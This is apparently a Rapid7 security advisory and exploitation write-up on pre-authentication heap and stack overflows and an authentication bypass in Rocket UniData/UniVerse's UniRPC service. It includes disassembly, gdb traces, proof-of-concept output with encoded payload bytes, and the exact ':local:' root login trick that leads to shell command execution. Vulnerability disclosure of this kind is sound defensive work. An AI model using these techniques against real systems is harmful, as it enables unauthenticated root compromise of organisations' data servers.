  • UniVerse 11.3.5 (and earlier) – patched in 11.3.5 build 1001
  • UniVerse 12.2.1 (and earlier) – patched in 12.2.1 build 2002

We verified that these issues do not affect the Windows version, as the networking stack appears to be different.

Impact

Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it’s possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization’s network in another way.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.

A note on testing

We made a small change to unirpcd for testing, which disables the fork call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don’t have to deal with multiple forked processes. We called it unirpcd-oneshot, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:

[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd	2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot	2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|

Note that this doesn’t change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).

UniRPC Server overview

When UniData is installed, it comes with a service called unirpcd, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.

After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices. The unirpcservices file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:

# cat ~/unidata/unishared/unirpc/unirpcservices 
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600

We tested each of those services, as well as the unirpcd daemon itself. A library — libunidata.so — is shared by all the services. Our results are detailed below.

CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd‘s packet receive

We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd) when receiving the body of an RPC packet in the uvrpc_read_message() function. Successful exploitation can corrupt the heap’s data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.

We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot in gdb:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6

Then we run the proof-of-concept tool in another window, and see the following in the debugger:

RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194		if (l == l->l_real)

Here’s the stack trace, which shows that it crashes in __run_exit_handlers():

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()

We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:

(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:	cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141

To understand this issue, we have to look at the UniRPC packet header fields (we don’t have the official names of this structure, so these are our best guesses):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

The body length argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd enforces that length restriction:

.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length to the stack
.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if the length is negative

In that code, the body length is read into the eax register, then validated to ensure it’s not negative — the jle opcode jumps if it’s less than or equal to zero. If it’s negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER.

A bit later, the following code executes:

.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer

In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two’s complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.

Finally, this code runs to receive the body of the RPC message:

.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`

If we put a breakpoint on recv and execute the proof of concept, we can see the recv function trying to receive way too much data into a buffer:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the proof-of-concept script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont

The n argument to __libc_recv is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that’s 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv() will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there’s no need to send all 0x7FFFDFFF bytes.

This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.

CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server (username and password fields)

We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server RPC service (accessed via the service name udadmin or udadmin82), which is exploitable to obtain unauthenticated remote code execution as the root user.

When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy-like function with no bounds checks (u2strcpy), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt().

Based on the compiled executable, the vulnerable code appears to be in the main function in the source file udadmin.c on lines 803 and 805. Here’s the code where the username is copied into a stack buffer:

.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1

That’s shortly followed by this code, where the password is copied into a stack buffer:

.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; Argument index (2 = second argument = password)

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2

The password has an additional twist, because it’s encoded; the rpcEncrypt function decodes it:

.text:0000000000408B37 4C 89 E7         mov     rdi, r12        ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decode" the password by inverting bytes

Functionally, rpcEncrypt negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).

Typically, strcpy()-based overflows are more difficult to exploit, because NUL (\0) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy() (using the rpcEncrypt() function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it’d otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF bytes).

We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system() function. For example, we can run a shell command that creates a file:

$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
{:header=>
  "l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>"test"},
   {:type=>:string,
    :value=>
     "\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}

Response:
{:header=>
  "l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>80011, :extra=>4}]}

Payload sent

Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:

[ron@unidata ~]$ ls -l /tmp/stackoverflowtest 
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest

We also wrote a Metasploit module to help organizations validate the impact of this issue.

CVE-2023-28503: Authentication bypass in libunirpc.so‘s do_log_on_user() function

We discovered an authentication bypass in the do_log_on_user() function in libunidata.so that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.

To demonstrate this vulnerability, we chose the udadmin_server executable (accessed via RPC as the udadmin or udadmin82 service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user function, which is in libunidata.so:

.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"

The impersonate_user function in libunidata.so is a thin wrapper around do_log_on_user (also found in libunidata.so). At the start of do_log_on_user, it compares the username to the string literal :local:, and jumps to standard PAM-based login code if it’s not a match (note that memory addresses of libunidata.so probably will not match yours, since it’s compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):

.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal

If the username is :local:, the do_log_on_user function splits the password into three fields, using : as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn’t contain two colons, the login attempt fails:

.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Find the first ':'
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Find the second ':'
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon

If the string correctly has three colon-separated fields, the following code executes:

.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second field to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third field to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first field
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit    ; Success!

In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user’s user id (uid) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.

In other words, the three colon-separated fields in the password are:

  1. A local username (such as root)
  2. The corresponding user id (such as 0)
  3. Any value that’s not 0 (which will be used as a group id when privileges are dropped)

For example, we can use the username :local: with password ron:1000:123 to authenticate as ron on my host, since ron‘s user id is 1000 and 123 is not 0. Alternatively, the username :local: with password root:0:123 will work on most Linux targets, as root usually has a user id of 0 and 123 is still not 0.

Once that check passes, _briefReinit is called with our user id and group id values. We didn’t look into the _briefReinit function, but we observed that it drops the process’s privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.

From here, we chose the udadmin service as an example target. If we successfully authenticate to udadmin, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6, because it’s called OSCommand, which, as the name implies, will run a Linux shell command of the user’s choosing:

.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; Get the second parameter
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand   ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A

We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand to execute a chosen command. Like the last vulnerability, we can use it to create a file:

$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>":local:"},
   {:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>6},
   {:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}

Response:
[...]

Then verify that the file is created (and owned by root), and therefore that the command executed:

[ron@unidata ~]$ ls -l /tmp/authbypassdemo 
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo

We also wrote a Metasploit module to help organizations better understand the risk of this issue.

CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so‘s U_rep_rpc_server_submain() function

We discovered a stack buffer overflow in the function U_rep_rpc_server_submain() in libunidata.so. The overflow occurs when the username and password fields are copied into stack-based buffers using an insecure strcpy-like function (u2strcpy). The U_rep_rpc_server_submain function is used to authenticate users in multiple RPC services, which means it can be exploited through multiple RPC endpoints. If successfully exploited, an attacker can write arbitrary data to the stack, including the return address, leading to pre-authentication remote code execution as the root user.

The vulnerable function (U_rep_rpc_server_submain) is accessible by at least the following API endpoints:

  • repconn (accessed as rmconn82)
  • udsub (accessed as unirep82)

We created a proof of concept for both services — repconn_stackoverflow_password.rb and udsub_stackoverflow_password.rb respectively. These will both crash the process at a debug breakpoint, which demonstrates code execution (note that this payload will only work on the exact versions that we tested; other vulnerable versions will most likely crash with a segmentation fault).

This is the same basic vulnerability as the stack buffer overflow in udadmin_server discussed above (CVE-2023-28502), but in a library function instead of in the RPC service itself. Based on function arguments in the disassembled code, the vulnerable u2strcpy calls appear to be found in the source file rep_rpc.c on lines 693 and 694. Here is the vulnerable code from U_rep_rpc_server_submain() in libunidata.so (note that you’ll see different memory addresses than these, since the library is compiled as position-independent, and we chose a base address of where it happened to load in our lab):

.text:00007FFFF728EF68   call    _uvrpc_read_packet ; <-- Reads the login message (username/password)
.text:00007FFFF728EF6D   test    eax, eax
.text:00007FFFF728EF6F   jnz     loc_7FFFF728F025 ; Jump on fail

.text:00007FFFF728EF75   mov     rax, cs:conns
.text:00007FFFF728EF7C   mov     rsi, [rax+r12+0C230h] ; src
.text:00007FFFF728EF84   test    rsi, rsi
.text:00007FFFF728EF87   jz      loc_7FFFF728F02C

.text:00007FFFF728EF8D   lea     r14, [rsp+158h+username] ; <-- Stack buffer
.text:00007FFFF728EF92   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EF99   mov     ecx, 2B5h       ; Line number = 0x2b5 (693)
.text:00007FFFF728EF9E   lea     r13, [rsp+158h+password] ; <-- Another stack buffer
.text:00007FFFF728EFA6   mov     rdi, r14        ; dest
.text:00007FFFF728EFA9   call    _u2strcpy       ; <-- Copy the username (stack overflow)

.text:00007FFFF728EFAE   mov     rax, cs:conns
.text:00007FFFF728EFB5   lea     rdx, aRepRpcC   ; Source file = "rep_rpc.c"
.text:00007FFFF728EFBC   mov     ecx, 2B6h       ; Line number = 0x2b6 (694)
.text:00007FFFF728EFC1   mov     rdi, r13        ; dest
.text:00007FFFF728EFC4   mov     rsi, [rax+r12+0C248h] ; src
.text:00007FFFF728EFCC   call    _u2strcpy       ; <-- Copy the password (stack overflow)

Like the vulnerability we documented in CVE-2023-28502, after being copied into a buffer the password is decoded by negating each byte (although this time the decoding code is inline instead of using rpcEncrypt()):

.text:00007FFFF728EFE0 top_negating_loop:                      ; CODE XREF: U_rep_rpc_server_submain+23E↓j
.text:00007FFFF728EFE0    not     edx             ; Negate the current byte
.text:00007FFFF728EFE2    add     rax, 1          ; Go to the next byte
.text:00007FFFF728EFE6    mov     [rax-1], dl     ; Write the negated byte back to the string
.text:00007FFFF728EFE9    movzx   edx, byte ptr [rax] ; Read the next byte
.text:00007FFFF728EFEC    test    dl, dl          ; Check if we've reached the end
.text:00007FFFF728EFEE    jnz     short top_negating_loop

Again, in most strcpy-like vulnerabilities, NUL bytes will truncate the payload, which makes exploitation much more difficult; however, due to this encoding, we actually can use NUL bytes. We wrote a proof of concept for the repconn service that will cause the application to crash at a debug breakpoint:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13568 - 16:16:50 - looking for service rmconn82
RPCPID=13568 - 16:16:50 - Found service=rmconn82
RPCPID=13568 - 16:16:50 - Checking host: *
RPCPID=13568 - 16:16:50 - accept: execing /home/ron/unidata/unidata/bin/repconn
process 13568 is executing new program: /home/ron/unidata/unidata/bin/repconn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401e70 in main ()

(gdb) x/i $rip-1
   0x401e6f <main+1343>:	int3

Similarly, the udsub proof of concept will also cause the application to crash at a debug breakpoint, although the address is slightly different:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9

[...run the proof of concept in another window...]

RPCPID=13733 - 16:19:41 - looking for service unirep82
RPCPID=13733 - 16:19:41 - Found service=unirep82
RPCPID=13733 - 16:19:41 - Checking host: *
RPCPID=13733 - 16:19:41 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 13733 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000402b4c in main ()

(gdb) x/i $rip-1
   0x402b4b <main+2027>:	int3

CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function

We discovered a post-authentication buffer overflow in the U_get_string_value() function in libunidata.so, which is accessible through the RPC service unirep82. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root user without knowing a password).

The root cause is use of the u2strcpy() function, which is a wrapper around the standard strcpy() function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c at line 464 (note that, like in other snippets from libunidata.so, your address will not line up with ours):

.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy

When a function calls U_get_string_value(), it passes in a buffer for the resulting string, but does not pass a length value. That buffer is passed into u2strcpy, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value(). The only RPC service we observed using that function was udsub (accessed via RPC as unirep82), which passes a stack-based buffer into the function.

